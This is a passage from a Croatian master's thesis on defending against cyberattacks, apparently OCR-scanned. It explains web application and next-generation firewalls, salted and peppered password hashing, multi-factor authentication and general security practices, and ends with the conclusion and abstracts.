za obranu od kibernetickih napada obuhvaca razne metode 1 alate koji zajedno stvaraju

sveobuhvatnu obranu od niza razli¢itih vektora napada.
4.1. Vatrozid

Vatrozid Internet aplikacije (engl. web application firewall) ili WAF pomaze u zastiti Internet
aplikacija filtriranjem 1 nadzorom HTTP prometa izmedu Internet aplikacije i korisnika. Ima
mogucnost zastite stranica od napada poput SQL ubrizgavanja, ubrizgavanja skripti preko stranica,
krivotvorenja zahtjeva preko stranica, uklju¢ivanja zlonamjernih datotekai slicno. WAF je vrsta
obrnutog proxy-a, $to znaci da stiti posluzitelj od zlonamjernih radnji korisnika, tako $to detaljno
provjerava promet korisnika prije nego sto isti dode do posluzitelja. WAF se temelji na skupu
pravila, koja se Cesto nazivaju i politikama. Cilj ovih pravila je filtriranje zlonamjernog prometa
za zaStitu od kibernetickih napada. Jedna od bitnih vrijednosti WAF-a je brzina i lakoca
implementiranja novih promjena i azuriranja pravila, Sto omogucuje brzi odgovor na razlicite
vektore napada. Na primjer, tijekom DDoS napada, ogranienje brzine (engl. rate limiting)
zahtjeva koju putuju mrezom se moze dosta brzo implementirati aZzuriranjem pravila [53]. Prema

[53] WAF se moze implementirati na tri razliCita nacina, gdje svaki ime svoje prednosti i
nedostatke:

e mreZzni WAF se opcenito temelji na hardveru. Buduc¢i da se instalira lokalno, minimizira
kasnjenje, ali mrezni WAF je najskuplja opcija i takoder zahtijeva pohranu i odrZavanje
opreme

e WAF temeljen na domaéinu moze se u potpunosti integrirati u softver aplikacije. Ovo
rjesenje je jeftinije od mreznog WAF-a i nudi vecéu prilagodljivost. Losa strana WAF-a
temeljenog na domacinu je potroSnja resursa lokalnog posluzitelja, sloZenost
implementacije te troskovi i vrijeme odrzavanja

e WAF temeljen na oblaku nudi pristupa¢nu opciju koju je vrlo jednostavno implementirati.

Takoder ima minimalne pocetne troskove, jer korisnici plac¢aju mjesec¢no ili godiSnje za
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sigurnost kao uslugu. WAF temeljen na oblaku takoder moze ponuditi rjeSenje koje se
stalno azurira za zastitu od najnovijih prijetnji bez ikakvog dodatnograda ili troskova na

strani korisnika. Nedostatak WAF-a temeljenog na oblaku je Sto korisnici predaju

odgovornost trecoj strani, stoga im neke znacajke WAF-a mogu biti nepoznate.

AKo je potrebna snaznija zastita, onda je vatrozid sljedec¢e generacije (engl. next generation
firewall) ili NGFW bolja opcija od vatrozida Internet aplikacije. NGFW je sigurnosni uredaj koji
obraduje mrezni promet 1 primjenjuje pravila za blokiranje potencijalno opasnog prometa. NGFW
prosiruje i poboljSava mogucnosti tradicionalnog vatrozida. Takoder, dodaje i moguénosti koje

tradicionalni vatrozidi nemaju poput:

e duboke provjere paketa (engl. deep packet inspection) ili DPI uz filtriranje paketa
e spreCavanja upada

e koristenja Obavjestajnih podataka o prijetnjama (engl. threat intelligence)

e mogucnosti implementiranja narednih izvora informacija

e tehnika i strategija za sprecavanje kibernetic¢kih prijetnji.

Vecina ovih znacajki je moguca jer, za razliku od uobicajenog vatrozida, NGFW moze analizirati
promet na nekoliko slojeva u OSI modelu, a ne samo na slojevima 3 (mrezni sloj) i4 (transportni
sloj). NGFW moze pregledati HTTP promet sloja 7 i identificirati koje su aplikacije u upotrebi.
Ovo je vazna mogucénost jer se sloj 7 (aplikacijski sloj) sve viSe koristi za napade kako bi se
zaobisle sigurnosne politike koje na slojevima 3 i 4 primjenjuje uobicajeni vatrozid. NGFW
poboljsava filtriranje paketa izvodenjem dubinske provjere paketa. Poput uobicajenog filtriranja
paketa, DPI ukljucuje provjeru svakog pojedinac¢nog paketa za odredivanje izvorne 1 odredisne IP
adrese, izvornog i odredi$nog porta i slicno. Sve ove informacije sadrzane su u zaglavljima paketa
sloja 3 isloja 4. Ali DPI takoder provjerava tijelo svakog paketa, ne samo zaglavlje. To¢nije, DPI
provjerava tijelo paketa za uzorke poznatih zlonamjernih softvera i druge potencijalne prijetnje.

Usporeduje sadrzaj svakog paketa sa sadrzajem poznatih zlonamjernih napada [54].
4.2. Sigurna pohranalozinki

Sigurna pohrana lozinki koristenjem hash funkcije je klju¢na, kako bi se lozinke zastitile i u slucaju
povrede podataka. Vecina modernih programskih jezika i razvojnih okvira nudi ugradene
funkcionalnosti za sigurno pohranjivanje lozinki. Hash funkcija je matematicka funkcija, odnosno
postupak za pretvorbu numeric¢ke ulazne vrijednosti u numeri¢ku izlaznu vrijednost. Hash funkcija

komprimira ili sazima proizvoljno dugu ulaznu vrijednost u izlaznu vrijednost fiksne duljine. Za
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istu ulaznu vrijednost, izraCunata izlazna vrijednost ¢e uvijek biti jednaka. Bitna znacajka hash
funkcije je brzina i u¢inkovitost prilikom racunanja. Hash funkcija je jednosmjerna, §to znaci da
je gotovo nemoguce, u smislu u¢inkovitosti i brzine, do¢i do ulazne vrijednosti na temelju izlazne.
Takoder, vrlo bitna znacajka hash funkcije je otpornost na podudaranje (engl. collision resistance),
Sto znaci da bi trebalo biti gotovo nemoguée pronaci dvije razliCite ulazne vrijednosti za koje ¢e
hash funkcija izraCunati istu izlaznu vrijednost. Za hash funkcije MD4, MDS5, SHA 1 su pronadene
ranjivosti koje uvelike ugroZzavaju sigurnost prilikom koriStenja istih, stoga ih je potrebno
izbjegavati. Prije odabira hash funkcije, uvijek je potrebno istraziti sadrzava li ista ranjivosti koje
mogu utjecati na integritet podataka [55].

User {  Device

Identity
Ol

Password
@ P

® |np

-~

Decision

Slika 50. Koristenje hash funkcije u svrhu sigurne pohrane lozinki [55]
Slika 50. prikazuje graf koriStenja hash funkcije u svrhu sigurne pohrane lozinki. Prema [55]

proces je sljededi:

e korisnik unosi svoje podatke ili identitet oznacen sa slovom |

e korisnik unosi lozinku oznacenu sa slovom P

e proces ili dio aplikacije odgovoran za autentifikaciju korisnika unosi lozinku P u hash
funkciju i izracunava izlaznu vrijednosti, oznacenu s h(P)

e proces ili dio aplikacije odgovoran za autentifikaciju korisnika pretrazuje bazu podataka

za identitet | te usporeduje pohranjenu hash vrijednost lozinke s ranije izratunatom hash
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vrijednos¢u h(P). Ako su vrijednosti iste, proces autentifikacije je uspje$an, a u suprotnom

se korisniku odbija pristup.

Ukoliko neautorizirane osobe dodu do hash vrijednosti lozinki, putem raznih metoda, poput
napada rje¢nikom mogu probiti sigurnosnu zastitu istih. Kako bi se lozinke dodatno zastitile i u
slucaju kibernetiCkog napada, potrebno je ukljuciti dodatne mjere, koje se nazivaju salting i
peppering. Salt je jedinstveni, nasumic¢no stvoreni niz znakova koji se dodaje svakoj lozinki
prilikom izrade hash vrijednosti lozinke. Salt je jedinstven za svakog korisnika, §to uvelike otezava
spomenute napade rjecnikom, jer vrijeme potrebno za probijanje sigurnosti zastite svake lozinke
raste s brojem hash vrijednosti. Takoder, ako se koristi salting nemoguce je utvrditi koristi li vise
korisnika jednaku lozinku, jer ¢e zbog razlicite salt vrijednosti, hash vrijednosti biti takoder
razli¢ite. Moderne hash funkcije poput Argon2id-a, bcrypt-a i PBKDF2-a automatski ukljucuju
salting tehniku, tako da nisu potrebni nikakvi dodatni koraci prilikom njihove upotrebe [56].

Password Hash Salting

Hashing
User P asswaond S alt & ddad Algorithmm Hashed Password + Salt

Apple =p AppleyrtZd —r@ = {53107b3a7Scc2TEDO520aa0bd40c 34

Hashed Store

TE2107b3aTEon2 (TEDEE2Gandbd

Slika 51. Primjer koristenja salting tehnike [57]
Slika 51. prikazuje primjer koristenja salting tehnike prilikom sigurnog pohranjivanja lozinke
putem hash funkcije. Uz salt moze se koristiti i pepper za dodatnisloj zastite. Svrha pepper-a je
sprijecCiti napadaca u probijanju sigurnosne zastite lozinke, ako je isti jedino ostvario pristup bazi
podataka. Jedna od strategija peppering-a je Sifriranje hash vrijednosti lozinki koriste¢i simetri¢ni
klju¢ za Sifriranje prije spremanja hash vrijednosti lozinki u bazu podataka, gdje je klju¢ za
Sifriranje zapravo pepper. Peppering strategije ni na koji na¢in ne utje¢u na hash funkciju. Pepper
se razlikuje od salt-a po tome Sto je salt jedinstven za svaku pohranjenu lozinku, dok je pepper
svugdje isti. Salt se sprema u bazu podataka, a spremanje pepper-a u bazu podataka bi se trebalo
izbjegavati. Vrijednost pepper-a bi se trebala pohraniti na sigurno mjesto s ostalim osjetljivim
podatcima, te bi bilo pozeljno ukljuciti strategije za rotiranje ili periodicno mijenjanje pepper

vrijednosti [56].
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4.3. Autentifikacija s viSestrukim faktorima

U odredenim situacijama snazne lozinke ne predstavljaju dovoljnu razinu sigurnosti, stoga je
potrebno ukljuciti autentifikaciju s visestrukim faktorima (engl. multi factor authentication) ili
MFA.

Multi-Factor Authentication

4
# ;

Step 1: User name and Step 2: Pin from phone Step 3: Fingerprint
password entered app entered verified

Slika 52. Primjer autentifikacije s viSestrukim faktorima [58]
Slika 52. prikazuje primjer autentifikacije s viSestrukim faktorima, nakon unosa korisni¢kog imena
i lozinke, zahtijeva se dodatna provjera identiteta korisnika putem PIN-a koji se Salje na mobitel
te otiska prsta. Autentifikacija s viSestrukim faktorima djeluje kao dodatni sigurnosni sloj koji
neovlaStenim Korisnicima sprjeava pristup raCunalnim sustavima, ¢ak i u slu¢aju kada je sigurnost
lozinke ugrozena. Autentifikacija s viSestrukim faktorima zahtijeva vise oblika provjere identiteta
tijekom registracije ili prijave korisnika [59]. Prema [59] postupak autentifikacije s viSestrukim

faktorima je sljedeci:

e registracija: korisnik registrira racun sa Zeljenim korisnickim imenom 1 lozinkom. Zatim
povezuje druge stavke, poput mobitela ili fizickog sigurnosnog kljuca sa svojim raCunom.
Postoji i moguénost povezivanja virtualnih stavki, poput adrese elektronicke poste ili
aplikacije za autentifikaciju. Uz sve navedeno moguce je ukljuciti i biometrijsku provjeru,
Sto predstavlja jednu od najtocnijih i najsigurnijih metoda

e prijava: korisnik s omogu¢enim MFA-om se prijavljuje u aplikaciju ili stranicu, nakon
uspjesnog unosa korisnickog imena i lozinke

e provjera: Korisnik dovrSava postupak provjere autenti¢nosti ovjerom ostalih stavki. Ovaj

korak se moze implementirati na bilo koji od navedenih nacina, ili moze biti kombinacija

vise nacina. Korisnik dobiva pristup sustavu tek kada su svi ostali podatci ovjereni.
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MFA se moze implementirati u sustav tako da se viSestruka autentifikacija zahtijeva samo pri
prvom pristupu na novom uredaju. Nakon toga, sustav ¢e zapamtiti ureda;j i traziti samo lozinku
pri svakoj sljedecoj prijavi. MFA je moguce podi¢i na dodatnu razinu sigurnosti. Adaptivna
autentifikacija s viSestrukim faktorima, koristi poslovna pravila i informacije o korisniku za
odredivanje faktora za provjeru koje je potrebno primijeniti u odredenoj situaciji. Adaptivna
autentifikacija s visestrukim faktorima je korisna za postizanje bolje ravnoteze izmedu sigurnosnih
zahtjeva i korisnickog iskustva. Na primjer, moze se povecati ili smanjiti potreban broj koraka za

autentifikaciju koriStenjem korisnickih informacija poput:

e broja neuspjelih pokuSaja prijave
e zemljopisnog polozaja korisnika
e uredaja koji se koristi za prijavu

e vremena pokusaja prijave

e operacijskog sustava

e izvorne IP adrese

e uloge korisnika.

Adaptivna rjeSenja koriste umjetnu inteligenciju i strojno ucenje za analizu i prepoznavanje
sumnjivih aktivnosti za pristup sustavu. OvarjeSenja mogu nadzirati aktivnosti korisnika tijekom
vremena kako bi prepoznala uzorke u ponaSanju korisnika te otkrila neobi¢na ponaSanja, poput
pokusaja prijave u neuobiCajeno vrijeme, s neuobiCajene lokacije ili s nepoznatih uredaja. Ovisno

0 procijenjenom riziku mijenja se broj potrebnih faktora za autentifikaciju [59].
4.4. Ostale protumjere

Nacelo najmanje privilegije (engl. the principle of least privilege) koncept je kiberneticke
sigurnosti koji govori da korisnik ili entitet treba imati pristup samo odredenim podatcima,
resursima, funkcijama ili aplikacijama potrebnim za dovrSenje traZzenog zadatka. Organizacije koje
slijede nacelo najmanje privilegije uvelike smanjuju moguénost kibernetickog napada i rizik od
Sirenja zlonamjernog softvera. Ovo nacelo poboljsava radne performanse jer smanjuje vrijeme

potrebno za zaustavljanje i ublazavanje posljedica kiberneti¢kog napada [60].

Penetracijsko testiranje je sigurnosna vjezba u kojoj stru¢njak za kiberneticku sigurnost pokusava
pronaci i iskoristiti ranjivosti u racunalnom sustavu. Svrha ovog simuliranog napada je
identificirati sve slabe toCke u obrani sustava koje bi napadaci mogli iskoristiti. Penetracijsko

testiranje treba izvoditi osoba s malo ili nimalo prethodnog znanja o tome kako je sustav osiguran
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jer se tako mogu otkriti mrtve to¢ke koje su razvojni programeri previdjeli. Iz tog razloga obi¢no
se angaziraju vanjski izvoda¢i za provodenje penetracijskih testova. Nakon dovrSetka
penetracijskog testa, odgovorna osoba ili osobe ¢e objasniti koje ranjivosti su pronadene, zasto

predstavljaju rizik te kako se iste trebaju ispraviti [61].

Za $to efikasniju obranu od kiberneti¢kih napada, uz sve navedene protumjere, potrebno je
ukljuciti i redovne izrade sigurnosnih kopija podataka, kako bi se integritet podataka Sto bolje
sacuvao u slucaju kibernetickog napada. Potrebno je redovno aZurirati raunalne sustave zbog
implementiranja sigurnosnih zakrpa koje popravljaju pronadene ranjivosti u sustavu ili aplikaciji.
Uz redovno azuriranje, preporu¢a se i upotreba antivirusnih programa za $to uéinkovitiju zastitu
od zlonamjernih softvera. Antivirusni programi takoder nude i moguénosti periodicnog skeniranja
sustava ili odredenih datoteka za potencijalne prijetnje. Cak i kada se koristi autentifikacija s
visestrukim faktorima potrebno je uvesti stroga pravila za stvaranje lozinki s kombinacijom velikih
1 malih slova, posebnih znakova i brojeva te odredene najmanje duljine. Uz stroga pravila za
stvaranje lozinki, poZeljno je da zaposlenici redovito mijenjaju lozinke, ovaj proces se moze 1
automatizirati na razne nacine. Uz redovito analiziranje kiberneticke sigurnosti u poduzecu,
pravilnu edukaciju zaposlenika, tepra¢enje najboljih sigurnosnih praksi moguénost za kiberneticki

napad se svodina minimum.
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5. ZAKLJUCAK

Ovim diplomskim radom obradena je tema kibernetickih napada i protumjera za obranu od istih.
U radu je detaljno objasnjen pojam kibernetickog napada, te su objasnjeni povijesni primjeri
kiberneti¢kih napada koji su zna¢ajno utjecali na razvoj polja kiberneticke sigurnosti. Za svaki
primjer povijesnog napada su detaljno opisane ranjivosti koje su dovele do istoga, te su objasnjene
posljedice koje je odredeni kiberneticki napad ostavio na drustvo. Prikazani su statisticki podatci
o kibernetickim napadima, koji jasno prikazuju ekonomski utjecaj istih. Takoder je definiran
pojam nacionalnog indeksa kiberneticke sigurnosti, objaSnjeno je Sto navedeni prikazuje te su
prikazani primjeri za odredene drzave. Putem definicije kibernetiCkog zlo¢ina kao usluge,
objasnjeno je zaSto ucestalost kibernetickih napada neprestano raste te zaSto se isti razvijaju
znaCajnom brzinom. Za izabrane primjere kibernetiCkih napada je detaljno objasnjeno koje
ranjivosti su podloga za iste, $to je prikazano provedbom i analizom posljedica napada u sigurnom
laboratorijskom okruzenju. Izabrani su neki od najucestalijih primjera kibernetickih napada, te su
demonstrirani na sli¢an nacin kako bi ih proveli kiberneticki kriminalci. Za provedbu napada
koriStene su razne strategije i tehnike te alati za automatizaciju u svrhu $to tocnije i kvalitetnije
demonstracije koja odraZava nacin na koji kiberneticki kriminalci pokuSavaju iskoristiti ranjivosti
u racunalnim sustavima. Za svaki napad su detaljno objasnjene protumjere koje je potrebno
poduzeti za uspjeSnu obranu od istoga. Takoder su opisana i objasSnjena generalna rjeSenja i
strategije koje uvelike doprinose uspjesnoj obrani. Primjenom protumjera navedenih u ovom
diplomskom radu moguée je znacajno podignuti razinu sigurnosti raunalnog sustava. Sve
objasnjene protumjere predstavljaju ucinkovita rjeSenja koja se mogu jednostavno implementirati

u svakodnevne zadatke.

Na temelju prikazanih primjera kibernetickih napada, jasno je zasto isti mogu imati znacajne
posljedice ukoliko se odredene ranjivosti ne otkriju na vrijeme. Relevantnost razvoja kiberneticke
sigurnosti je neporeciva, kako na razini poduzeca, tako i na globalnoj razini. Klju¢ni korak u obrani
od kibernetickih napada je kvalitetna edukacija o vaznosti primjene sigurnosnih strategija u
svakodnevnim zadatcima. Kiberneticki kriminalci neprestano razvijaju nove tehnike i strategije te
pronalaze nove ranjivosti za potencijalni kiberneti¢ki napad. Zbog toga je nuzno odrzavati korak

s najnovijim tehnologijama i rjeSenjima za zastitu raCunalnih sustava.
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SAZETAK

Cilj je ovog rada bio provesti i analizirati neke primjere kibernetickih napada te dati smjernice o
mogucim protumjerama. Povijesni pregled kiberneti¢kih napadaobjasnjava utjecaj istih na drustvo
s cilem poticanja razvoja kiberneticke sigurnosti. Statisticki su podatci kibernetickih napada
vizualno prikazani i objaSnjeni, a isti jasno prikazuju ekonomski ucinak kibernetickih napada.
Simulacijom kibernetickih napada u sigurnom laboratorijskom okruzenju prikazan je nacin na koji
kiberneticki kriminalci mogu do¢i do osjetljivih informacija pojedinca ili organizacije. Svaki je
napad detaljno opisan te su objaSnjene ranjivosti koje otvaraju mogucnost za izvodenje istoga. Za
svaki su napad detaljno opisane protumjere i strategije koje je potrebno poduzeti za uspjesnu

obranu od istoga. Takoder je objasnjen i ucinak obradenih protumjera. Nakraju su objasnjene opce

protumjere koje predstavljaju u€inkovitu obranu od vecine kiberneti¢kih napada.

Kljuéne rijeéi: kiberneti¢ki napadi, protumjere, ranjivosti, sigurnost, strategije
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ABSTRACT

This paper aimed to conduct and analyze some examples of cyber-attacks as well as to provide
guidelines on possible countermeasures. A historical overview of cyber-attacks was used to
explain the impact they have on the society and eventually foster cyber security. Statistical data
on cyber-attacks were visually represented and elaborated on clearly demonstrating cyber-attacks’
economic impact. Simulating cyber-attacks in a secure laboratory environment aimed to
demonstrate how cyber criminals can access sensitive information of individuals or organizations.
Each attack and underlying vulnerabilities were elaborated on. Countermeasures and strategies
necessary for the successful defence against each attack were thoroughly described. The

effectiveness of the implemented countermeasures was also explained. Finally, general
countermeasures, which provide effective defence against most cyber-attacks, were outlined.

Keywords: countermeasures, cyber-attacks, security, strategies, vulnerabilities
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